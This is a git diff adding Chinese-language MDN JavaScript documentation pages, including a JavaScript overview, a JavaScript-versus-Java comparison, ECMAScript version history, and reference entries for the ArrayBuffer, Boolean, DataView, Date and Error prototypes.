Web Console 在执行 JavaScript 的单个命令行时是非常好的,但是在执行多行命令时就没那么方便了,而且你也不可能在 Web Console 中保存你的代码。因此对于更复杂的例子,  Scratchpad 是一个更好的工具。

+ +

 

+ +

要打开 Scratchpad, 可以在 "Web Developer" 菜单下选择 "Scratchpad" , 它在 Firefox 中也位于 "Tools" 菜单下。它是一个单独的窗口以及编辑器,你可以使用它来写和执行浏览器中的代码。你也同样可以将脚本保存在硬盘,并且从硬盘装载。

+ +

如果你选择了 "Inspect",  pad 中的代码会在浏览器中执行,其结果也会以 comment 的形式插入到 pad 中: 

+ +

+ +

文档约定

+ +

JavaScript 应用可以运行在许多操作系统之上;本书中所给出的信息适用于所有这些系统。文件和目录的路径将以 Windows 的形式给出(反斜线用于分隔目录名)。对于 Unix 系统,目录的路径是相同的,只是将反斜线换成斜线即可。

+ +

本指南使用如下形式的统一资源定位符(URL):

+ +

http://server.domain/path/file.html

+ +

在这些 URL 中,server 表示您的应用所运行的服务器的名称,比如 research1 或者 wwwdomain 表示您的互联网域名,比如 netscape.com 或者 uiuc.edupath 表示在服务器中的目录结构;而 file.html 则表示特定的文件名。一般来讲,URL 中的斜体部分为占位符,而其中的等宽字体则为原文。如果您的服务器启用了安全套接字层(SSL),则需要将 URL 中的 http 换成 https。

+ +

本指南使用如下字体约定:

+ + + +
{{ PreviousNext("JavaScript/Guide", "JavaScript/Guide/JavaScript_Overview") }}
diff --git a/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html b/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html new file mode 100644 index 0000000000..96114a1f43 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html @@ -0,0 +1,136 @@ +--- +title: JavaScript 概述 +slug: Web/JavaScript/Guide/JavaScript_Overview +tags: + - ECMAScript +translation_of: Web/JavaScript/Guide/Introduction +translation_of_original: Web/JavaScript/Guide/JavaScript_Overview +--- +

本节将介绍并讨论 JavaScript 的基本概念。

+ +

什么是 JavaScript?

+ +

JavaScript 是一种跨平台,面向对象的脚本语言。作为一种小巧且轻量级的语言,JavaScript 无意于独立运行,而是被设计为可以轻易嵌入到其它的产品和应用中,比如 Web 浏览器。在宿主环境中,JavaScript 可以被连接到环境中的对象之上,以提供对其的编程控制。

+ +

核心的 JavaScript 中包含有一组核心的对象,包括 Array,DateMath,以及一组核心的语言要素,包括操作符,控制结构和语句。出于多种目的,可以通过为其增补附加的对象,对核心 JavaScript 加以扩展;例如:

+ + + +

借由 JavaScript 的 LiveConnect 功能,您可以让 Java 和 JavaScript 间实现通讯。从 JavaScript 中,您可以创建 Java 对象并访问它们的公共方法和域。从 Java 中,也可以访问 JavaScript 的对象,属性和方法。

+ +

Netscape 发明了 JavaScript 并将 JavaScript 首先用于 Netscape 浏览器中。

+ +

JavaScript 和 Java

+ +

JavaScript 和 Java 虽然在某些方面相似,但在另外一些方面确有着本质的不同。JavaScript 语言类似于 Java 语言,但是没有 Java 的类型静态化和强类型检查。JavaScript 大部分的表达式语法,命名规范以及基本的控制流构成都和 Java 相同。正是由于这个原因,JavaScript 才从 LiveScript 改名得来。

+ +

不同于 Java 的通过声明而形成的编译时的类系统,JavaScript 支持基于少量数据类型的运行时系统,这些数据类型用以表示数值、布尔值和字符串。JavaScript 使用基于原型的对象模型,而不是更常见的基于类的对象模型。基于原型的对象模型提供了动态的继承能力,实际上,究竟什么得到继承,对于每个对象都可能不同。JavaScript 还支持无需任何特殊的声明要求的函数。函数可以作为对象的属性,当成松散类型方法(loosely typed method)来执行。

+ +

相比 Java 而言,JavaScript 是一种格式相当自由的语言。无需声明所有的变量,类和方法。无需关心方法是公共的,私有的或者是保护的,也无需实现接口。变量,参数,以及返回值都无需显式的类型声明。

+ +

Java 是基于类的编程语言,目标在于快速的执行和类型安全。这里的类型安全,可以是比如,你不能将 Java 的整数强制转换为对象引用,或者通过篡改 Java 字节码来达到访问私有内存区域的目的。Java 基于类的模型意味着程序完全由类及其方法构成。这些类的继承以及强类型通常需要紧密耦合的对象层级结构。这些需求使得 Java 编程远比 JavaScript 编程要复杂。

+ +

相比之下,JavaScript 的设计理念源于一系列更小巧的动态类型语言,比如 HyperTalk 和 dBASE。这些脚本语言以其更为简单的语法,更专业化的内建功能,以及最小化的对象创建需求,提供了更为大众化的编程工具。

+ + + + + + + + + + + + + + + + + + + + + + + +
表 1.1 JavaScript 与 Java 的对比
JavaScriptJava
面向对象的。对象的类型间没有区别。继承是基于原型机制实现的,且属性和方法可以动态地添加到任何对象之上。基于类的。对象被划分为类和实例,且所有的继承是通过类的层级结构实现的。类或者实例不能动态地添加属性或方法。
变量的数据类型无需声明(动态化类型)。变量的数据类型必需声明(静态化类型)。
不能自动地写入硬盘不能自动地写入硬盘
+ +

有关 JavaScript 和 Java 之间区别的更多信息,参见 对象模型的细节

+ +

JavaScript 和 ECMAScript 规范

+ +

Netscape 发明了 JavaScript 并将 JavaScript 首先用于 Netscape 浏览器中。不过, Netscape 正在与 Ecma International — 欧洲信息和通讯标准化协会(ECMA 曾是 European Computer Manufacturers Association,既欧洲计算机制造商协会的缩写)一道致力于交付一个基于核心 JavaScript 的,标准化的,国际化的编程语言,既 ECMAScript。ECMAScript 在所有支持该标准的应用程序中具有相同的特性。其它公司可以使用开放的标准语言来开发它们的 JavaScript 实现。ECMAScript 标准在 ECMA-262 规范中加以记述。

+ +

ECMA-262 标准由 ISO(International Organization for Standardization,既国际化标准化组织)批准为 ISO-16262。在 Mozilla 网站上可以找到 PDF 版本的 ECMA-262 (过时的版本)。在 Ecma International 的网站 上也可以找到该规范。ECMAScript 规范没有描述文档对象模型(DOM)。该模型由 World Wide Web Consortium (W3C) 完成标准化。DOM 定义了 HTML 文档对象呈现在脚本中的方式。

+ +

JavaScript 版本和 ECMAScript 版本之间的关系

+ +

Netscape 与 Ecma International 的紧密合作形成了 ECMAScript 规范(ECMA-262)。下面的表格描述了 JavaScript 版本和 ECMAScript 版本之间的关系。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
表 1.2 JavaScript 版本和 ECMAScript 版本
JavaScript 版本与 ECMAScript 版本的关系
JavaScript 1.1ECMA-262,第 1 版 基于 JavaScript 1.1.
JavaScript 1.2ECMA-262 在 JavaScript 1.2 发布时尚未完成。由于以下原因,JavaScript 1.2 并不与 ECMA-262,第 1 版完全兼容: +
    +
  • Netscape 在 JavaScript 1.2 开发了一些新的特性尚未被 ECMA-262 采纳。
  • +
  • ECMA-262 添加了两项新特性:基于 Unicode 的国际化,以及跨平台的一致行为。而 JavaScript 1.2 的某些特性,例如 Date 对象,是依赖于平台的,且具有特定于平台的行为。
  • +
+
JavaScript 1.3JavaScript 1.3 完全兼容于 ECMA-262,第 1 版。
+ JavaScript 1.3 解决了 JavaScript 1.2 与 ECMA-262 之间的不一致性,同时保留了 JavaScript 1.2 中的附加特性,除了  ==!= 被修改以便顺应于 ECMA-262 之外。
JavaScript 1.4JavaScript 1.4 完全兼容于 ECMA-262,第 1 版。
+ ECMAScript 规范的第三版在 JavaScript 1.4 发布时尚未最终完成。
JavaScript 1.5JavaScript 1.5 完全兼容于 ECMA-262,第 3 版。
+ +
注:ECMA-262,第 2 版仅包含对第 1 版规范的细微的编辑性的改动和错误修正。由 Ecma International 的 TC39 工作组发布的最新版本为 ECMAScript 版本 5.1
+ +

JavaScript 参考 中标明了语言中的哪些特性兼容于 ECMAScript。

+ +

JavaScript 将总会包含某些 ECMAScript 规范中所没有的特性;JavaScript 兼容于 ECMAScript,同时提供附加特性。

+ +

JavaScript 文档相较于 ECMAScript 规范

+ +

ECMAScript 规范了实现 ECMAScript 的一组需求;它有助于您确定某项 JavaScript 特性是否也为其它 ECMAScript 的实现所支持。如果您想编写仅仅使用 ECMAScript 所支持的特性的代码,那么您可能需要参考 ECMAScript 规范。

+ +

ECMAScript 文档的目的不在于帮助脚本程序员;关于脚本编写的信息,请参考 JavaScript 文档。

+ +

JavaScript 和 ECMAScript 术语

+ +

ECMAScript 规范使用的术语和语法对于 JavaScript 程序员而言,可能会有点陌生。尽管对语言的描述方式在 ECMAScript 中可能不尽相同,但是语言本身还是相同的。JavaScript 支持 ECMAScript 规范中所勾勒出的全部功能。

+ +

JavaScript 文档描述了语言中适合于 JavaScript 程序员的方面。例如:

+ + + +
{{ PreviousNext("JavaScript/Guide/About", "JavaScript/Guide/Values,_variables,_and_literals") }}
diff --git a/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html b/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html new file mode 100644 index 0000000000..8ff8e9730b --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html @@ -0,0 +1,7 @@ +--- +title: Boundaries +slug: Web/JavaScript/Guide/Regular_Expressions/Boundaries +translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions +translation_of_original: Web/JavaScript/Guide/Regular_Expressions/Boundaries +--- +

重定向至 断言

diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html new file mode 100644 index 0000000000..92909dbef7 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html @@ -0,0 +1,64 @@ +--- +title: ArrayBuffer.prototype +slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype +tags: + - ArrayBuffer +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer +translation_of_original: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype +--- +
{{JSRef}}
+ +

ArrayBuffer.prototype属性表示{{jsxref("ArrayBuffer")}}对象的原型。

+ +
{{js_property_attributes(0,0,0)}}
+ +
 
+ +

描述

+ +

ArrayBuffer 实例继承自ArrayBuffer.prototype。对所有的构造函数来说,你可以通过改变构造函数的原型对象来改变所有的ArrayBuffer实例。

+ +

属性

+ +
+
ArrayBuffer.prototype.constructor
+
指定函数,它创建一个对象的原型。其初始值是标准ArrayBuffer内置构造函数。
+
{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
+
数组的字节大小。在数组创建时确定,并且不可变更。只读
+
+ +

方法

+ +
+
{{jsxref("ArrayBuffer.prototype.slice()")}}
+
返回一个新的 ArrayBuffer ,它的内容是这个 ArrayBuffer 的字节副本,从begin(包括),到end(不包括)。如果begin或end是负数,则指的是从数组末尾开始的索引,而不是从头开始。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('ES6', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}{{Spec2('ES6')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.ArrayBuffer.prototype")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html new file mode 100644 index 0000000000..cb7f351bd1 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html @@ -0,0 +1,76 @@ +--- +title: Boolean.prototype +slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype +tags: + - Boolean + - JavaScript + - Property + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean +translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype +--- +

{{JSRef}}

+ +

Boolean.prototype 属性表示{{jsxref("Boolean")}} 构造函数的原型。

+ +
{{js_property_attributes(0,0,0)}}
+ +

描述

+ +

{{jsxref("Boolean")}}实例继承自Boolean.prototype。你可以使用构造函数的原型对象向所有{{jsxref("Boolean")}}实例添加属性或方法。

+ +

属性

+ +
+
Boolean.prototype.constructor
+
返回创建了实例原型的函数。默认为{{jsxref("Boolean")}}函数。
+
+ +

方法

+ +
+
{{jsxref("Boolean.prototype.toSource()")}} {{ Non-standard_inline() }}
+
返回包含{{jsxref("Boolean")}}对象源码的字符串;你可以使用这个字符串来创建一个等价的对象。覆盖了{{jsxref("Object.prototype.toSource()")}} 方法。
+
{{jsxref("Boolean.prototype.toString()")}}
+
根据对象的值来返回一个字符串:"true""false"。覆盖了 {{jsxref("Object.prototype.toString()")}} 方法。
+
{{jsxref("Boolean.prototype.valueOf()")}}
+
返回{{jsxref("Boolean")}}对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容

+ + + +

{{Compat("javascript.builtins.Boolean.prototype")}}

diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html new file mode 100644 index 0000000000..3285efa3d3 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html @@ -0,0 +1,103 @@ +--- +title: DataView.prototype +slug: Web/JavaScript/Reference/Global_Objects/DataView/prototype +tags: + - DataView属性 +translation_of: Web/JavaScript/Reference/Global_Objects/DataView +translation_of_original: Web/JavaScript/Reference/Global_Objects/DataView/prototype +--- +
{{JSRef}}
+ +

DataView.prototype 表示{{jsxref("DataView")}}的原型

+ +
{{js_property_attributes(0,0,0)}}
+ +

描述

+ +

DataView 的实例从DataView.prototype继承。就像所有的构造器,你可以修改原型来改变生成的DataView实例。

+ +

属性

+ +
+
{{jsxref("DataView.prototype.constructor")}}
+
指定用来生成原型的构造函数.初始化值是标准内置DataView构造器.
+
{{jsxref("DataView.prototype.buffer")}} {{readonlyInline}}
+
被视图引入的{{jsxref("ArrayBuffer")}}.创建实例的时候已固化因此是只读的.
+
{{jsxref("DataView.prototype.byteLength")}} {{readonlyInline}}
+
从 {{jsxref("ArrayBuffer")}}中读取的字节长度. 创建实例的时候已固化因此是只读的.
+
{{jsxref("DataView.prototype.byteOffset")}} {{readonlyInline}}
+
从 {{jsxref("ArrayBuffer")}}读取时的偏移字节长度. 创建实例的时候已固化因此是只读的.
+
+ +

方法

+ +

+ +
+
{{jsxref("DataView.prototype.getInt8()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个8-bit数(一个字节).
+
{{jsxref("DataView.prototype.getUint8()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个8-bit数(无符号字节).
+
{{jsxref("DataView.prototype.getInt16()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个16-bit数(短整型).
+
{{jsxref("DataView.prototype.getUint16()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个16-bit数(无符号短整型).
+
{{jsxref("DataView.prototype.getInt32()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(长整型).
+
{{jsxref("DataView.prototype.getUint32()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(无符号长整型).
+
{{jsxref("DataView.prototype.getFloat32()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(浮点型).
+
{{jsxref("DataView.prototype.getFloat64()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个64-bit数(双精度浮点型).
+
+ +

+ +
+
{{jsxref("DataView.prototype.setInt8()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个8-bit数(一个字节).
+
{{jsxref("DataView.prototype.setUint8()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个8-bit数(无符号字节).
+
{{jsxref("DataView.prototype.setInt16()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个16-bit数(短整型).
+
{{jsxref("DataView.prototype.setUint16()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个16-bit数(无符号短整型).
+
{{jsxref("DataView.prototype.setInt32()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(长整型).
+
{{jsxref("DataView.prototype.setUint32()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(无符号长整型).
+
{{jsxref("DataView.prototype.setFloat32()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(浮点型).
+
{{jsxref("DataView.prototype.setFloat64()")}}
+
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个64-bit数(双精度浮点型).
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-dataview.prototype', 'DataView.prototype')}}{{Spec2('ES6')}}Initial definition.
+ +

浏览器支持

+ + + +

{{Compat("javascript.builtins.DataView.prototype")}}

+ +

另见

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html new file mode 100644 index 0000000000..da3d715018 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html @@ -0,0 +1,181 @@ +--- +title: Date.prototype +slug: Web/JavaScript/Reference/Global_Objects/Date/prototype +tags: + - Date + - JavaScript + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Date +translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/prototype +--- +
{{JSRef}}
+ +

Date.prototype 属性表示{{jsxref("Date")}}构造函数的原型。

+ +
{{js_property_attributes(0,0,1)}}
+ +

描述

+ +

{{jsxref("Date")}}实例继承自Date.prototype。可以通过修改构造函数的原型对象来影响 {{jsxref("Date")}}实例继承的属性和方法。

+ +

为了兼容千禧年计算(也即考虑到 2000 年),应该总是指定完整的年份,例如,使用 1998,而不是 98。为了方便以完整的格式指定年份, JavaScript 包含了相应的方法{{jsxref("Global_Objects/Date/getFullYear", "getFullYear()")}},{{jsxref("Global_Objects/Date/setFullYear", "setFullYear()")}}, {{jsxref("Global_Objects/Date/getUTCFullYear", "getUTCFullYear()")}} 和{{jsxref("Global_Objects/Date/setUTCFullYear", "setUTCFullYear()")}}。

+ +

从 ECMAScript 6 开始,Date.prototype本身就是一个普通的对象。不是{{jsxref("Date")}}的实例。

+ +

属性

+ +
+
Date.prototype.constructor
+
返回创建该实例的函数。默认是Date构造函数。
+
+ +

方法

+ +

Getter

+ +
+
{{jsxref("Date.prototype.getDate()")}}
+
根据本地时间返回指定日期对象的月份中的第几天(1-31)。
+
{{jsxref("Date.prototype.getDay()")}}
+
根据本地时间返回指定日期对象的星期中的第几天(0-6)。
+
{{jsxref("Date.prototype.getFullYear()")}}
+
根据本地时间返回指定日期对象的年份(四位数年份时返回四位数字)。
+
{{jsxref("Date.prototype.getHours()")}}
+
根据本地时间返回指定日期对象的小时(0-23)。
+
{{jsxref("Date.prototype.getMilliseconds()")}}
+
根据本地时间返回指定日期对象的毫秒(0-999)。
+
{{jsxref("Date.prototype.getMinutes()")}}
+
根据本地时间返回指定日期对象的分钟(0-59)。
+
{{jsxref("Date.prototype.getMonth()")}}
+
根据本地时间返回指定日期对象的月份(0-11)。
+
{{jsxref("Date.prototype.getSeconds()")}}
+
根据本地时间返回指定日期对象的秒数(0-59)。
+
{{jsxref("Date.prototype.getTime()")}}
+
返回从1970-1-1 00:00:00 UTC(协调世界时)到该日期经过的毫秒数,对于1970-1-1 00:00:00 UTC之前的时间返回负值。
+
{{jsxref("Date.prototype.getTimezoneOffset()")}}
+
返回当前时区的时区偏移。
+
{{jsxref("Date.prototype.getUTCDate()")}}
+
根据世界时返回特定日期对象一个月的第几天(1-31).
+
{{jsxref("Date.prototype.getUTCDay()")}}
+
根据世界时返回特定日期对象一个星期的第几天(0-6).
+
{{jsxref("Date.prototype.getUTCFullYear()")}}
+
根据世界时返回特定日期对象所在的年份(4位数).
+
{{jsxref("Date.prototype.getUTCHours()")}}
+
根据世界时返回特定日期对象当前的小时(0-23).
+
{{jsxref("Date.prototype.getUTCMilliseconds()")}}
+
根据世界时返回特定日期对象的毫秒数(0-999).
+
{{jsxref("Date.prototype.getUTCMinutes()")}}
+
根据世界时返回特定日期对象的分钟数(0-59).
+
{{jsxref("Date.prototype.getUTCMonth()")}}
+
根据世界时返回特定日期对象的月份(0-11).
+
{{jsxref("Date.prototype.getUTCSeconds()")}}
+
根据世界时返回特定日期对象的秒数(0-59).
+
{{jsxref("Date.prototype.getYear()")}}{{deprecated_inline}}
+
根据特定日期返回年份 (通常 2-3 位数). 使用 {{jsxref("Global_Objects/Date/getFullYear", "getFullYear()")}} .
+
+ +

Setter

+ +
+
{{jsxref("Date.prototype.setDate()")}}
+
根据本地时间为指定的日期对象设置月份中的第几天。
+
{{jsxref("Date.prototype.setFullYear()")}}
+
根据本地时间为指定日期对象设置完整年份(四位数年份是四个数字)。
+
{{jsxref("Date.prototype.setHours()")}}
+
根据本地时间为指定日期对象设置小时数。
+
{{jsxref("Date.prototype.setMilliseconds()")}}
+
根据本地时间为指定日期对象设置毫秒数。
+
{{jsxref("Date.prototype.setMinutes()")}}
+
根据本地时间为指定日期对象设置分钟数。
+
{{jsxref("Date.prototype.setMonth()")}}
+
根据本地时间为指定日期对象设置月份。
+
{{jsxref("Date.prototype.setSeconds()")}}
+
根据本地时间为指定日期对象设置秒数。
+
{{jsxref("Date.prototype.setTime()")}}
+
通过指定从 1970-1-1 00:00:00 UTC 开始经过的毫秒数来设置日期对象的时间,对于早于 1970-1-1 00:00:00 UTC的时间可使用负值。
+
{{jsxref("Date.prototype.setUTCDate()")}}
+
根据世界时设置 Date 对象中月份的一天 (1 ~ 31)。
+
{{jsxref("Date.prototype.setUTCFullYear()")}}
+
根据世界时设置 Date 对象中的年份(四位数字)。
+
{{jsxref("Date.prototype.setUTCHours()")}}
+
根据世界时设置 Date 对象中的小时 (0 ~ 23)。
+
{{jsxref("Date.prototype.setUTCMilliseconds()")}}
+
根据世界时设置 Date 对象中的毫秒 (0 ~ 999)。
+
{{jsxref("Date.prototype.setUTCMinutes()")}}
+
根据世界时设置 Date 对象中的分钟 (0 ~ 59)。
+
{{jsxref("Date.prototype.setUTCMonth()")}}
+
根据世界时设置 Date 对象中的月份 (0 ~ 11)。
+
{{jsxref("Date.prototype.setUTCSeconds()")}}
+
根据世界时设置 Date 对象中的秒钟 (0 ~ 59)。
+
{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}
+
setYear() 方法用于设置年份。请使用 {{jsxref("Global_Objects/Date/setFullYear", "setFullYear()")}} 方法代替。
+
+ +

Conversion getter

+ +
+
{{jsxref("Date.prototype.toDateString()")}}
+
以人类易读(human-readable)的形式返回该日期对象日期部分的字符串。
+
{{jsxref("Date.prototype.toISOString()")}}
+
把一个日期转换为符合 ISO 8601 扩展格式的字符串。
+
{{jsxref("Date.prototype.toJSON()")}}
+
使用 {{jsxref("Global_Objects/Date/toISOString", "toISOString()")}} 返回一个表示该日期的字符串。为了在 {{jsxref("JSON.stringify()")}} 方法中使用。
+
{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}
+
返回一个基于 GMT (UT) 时区的字符串来表示该日期。请使用 {{jsxref("Global_Objects/Date/toUTCString", "toUTCString()")}} 方法代替。
+
{{jsxref("Date.prototype.toLocaleDateString()")}}
+
返回一个表示该日期对象日期部分的字符串,该字符串格式与系统设置的地区关联(locality sensitive)。
+
{{jsxref("Date.prototype.toLocaleFormat()")}} {{non-standard_inline}}
+
使用格式字符串将日期转换为字符串。
+
{{jsxref("Date.prototype.toLocaleString()")}}
+
返回一个表示该日期对象的字符串,该字符串与系统设置的地区关联(locality sensitive)。覆盖了 {{jsxref("Global_Objects/Object/toLocaleString", "Object.prototype.toLocaleString()")}} 方法。
+
{{jsxref("Date.prototype.toLocaleTimeString()")}}
+
返回一个表示该日期对象时间部分的字符串,该字符串格式与系统设置的地区关联(locality sensitive)。
+
{{jsxref("Date.prototype.toSource()")}}{{non-standard_inline}}
+
返回一个与{{jsxref("Date")}}等价的原始字符串对象,你可以使用这个值去生成一个新的对象。重写了 {{jsxref("Object.prototype.toSource()")}} 这个方法。
+
{{jsxref("Date.prototype.toString()")}}
+
返回一个表示该日期对象的字符串。覆盖了{{jsxref("Object.prototype.toString()")}} 方法。
+
{{jsxref("Date.prototype.toTimeString()")}}
+
以人类易读格式返回日期对象时间部分的字符串。
+
{{jsxref("Date.prototype.toUTCString()")}}
+
把一个日期对象转换为一个以UTC时区计时的字符串。
+
{{jsxref("Date.prototype.valueOf()")}}
+
返回一个日期对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.Date.prototype")}}

diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html new file mode 100644 index 0000000000..420b5634de --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html @@ -0,0 +1,162 @@ +--- +title: Error.prototype +slug: Web/JavaScript/Reference/Global_Objects/Error/prototype +tags: + - Error + - JavaScript + - Property + - 参考 + - 属性 +translation_of: Web/JavaScript/Reference/Global_Objects/Error +translation_of_original: Web/JavaScript/Reference/Global_Objects/Error/prototype +--- +
+

{{JSRef}}

+ +

Error.prototype 属性代表 {{jsxref("Error")}} 的构造器。

+ +

{{js_property_attributes(0, 0, 0)}}

+
+ +

描述

+ +

所有 {{jsxref("Global_Objects/Error", "Error")}} 与 {{jsxref("Global_Objects/Error", "非标准Error", "#Error_types", 1)}} 的实例都继承自 Error.prototype。同所有构造器函数一样,你可以在构造器的 prototype 上添加属性或者方法,使其在所有该构造器的实例上生效。

+ +

属性

+ +

标准属性

+ +
+
Error.prototype.constructor
+
实例原型的构造函数。
+
{{jsxref("Error.prototype.message")}}
+
错误信息。
+
{{jsxref("Error.prototype.name")}}
+
错误名。
+
+ +

厂商特定扩展属性

+ +
{{non-standard_header}}
+ +

Microsoft

+ +
+
{{jsxref("Error.prototype.description")}}
+
错误描述,与 {{jsxref("Error.prototype.message", "message")}} 相似。
+
{{jsxref("Error.prototype.number")}}
+
错误码。
+
+ +

Mozilla

+ +
+
{{jsxref("Error.prototype.fileName")}}
+
产生该错误的文件名。
+
{{jsxref("Error.prototype.lineNumber")}}
+
产生该错误的行号。
+
{{jsxref("Error.prototype.columnNumber")}}
+
产生该错误的列号。
+
{{jsxref("Error.prototype.stack")}}
+
错误堆栈。
+
+ +

方法

+ +
+
{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}
+
返回一个包含特定 {{jsxref("Error")}} 对象的源代码字符串,你可以用该值新建一个新的对象,重写自 {{jsxref("Object.prototype.toSource()")}} 方法。
+
{{jsxref("Error.prototype.toString()")}}
+
返回一个表示该对象的字符串,重写自 {{jsxref("Object.prototype.toString()")}} 方法。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范版本状态注解
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype', 'Error')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

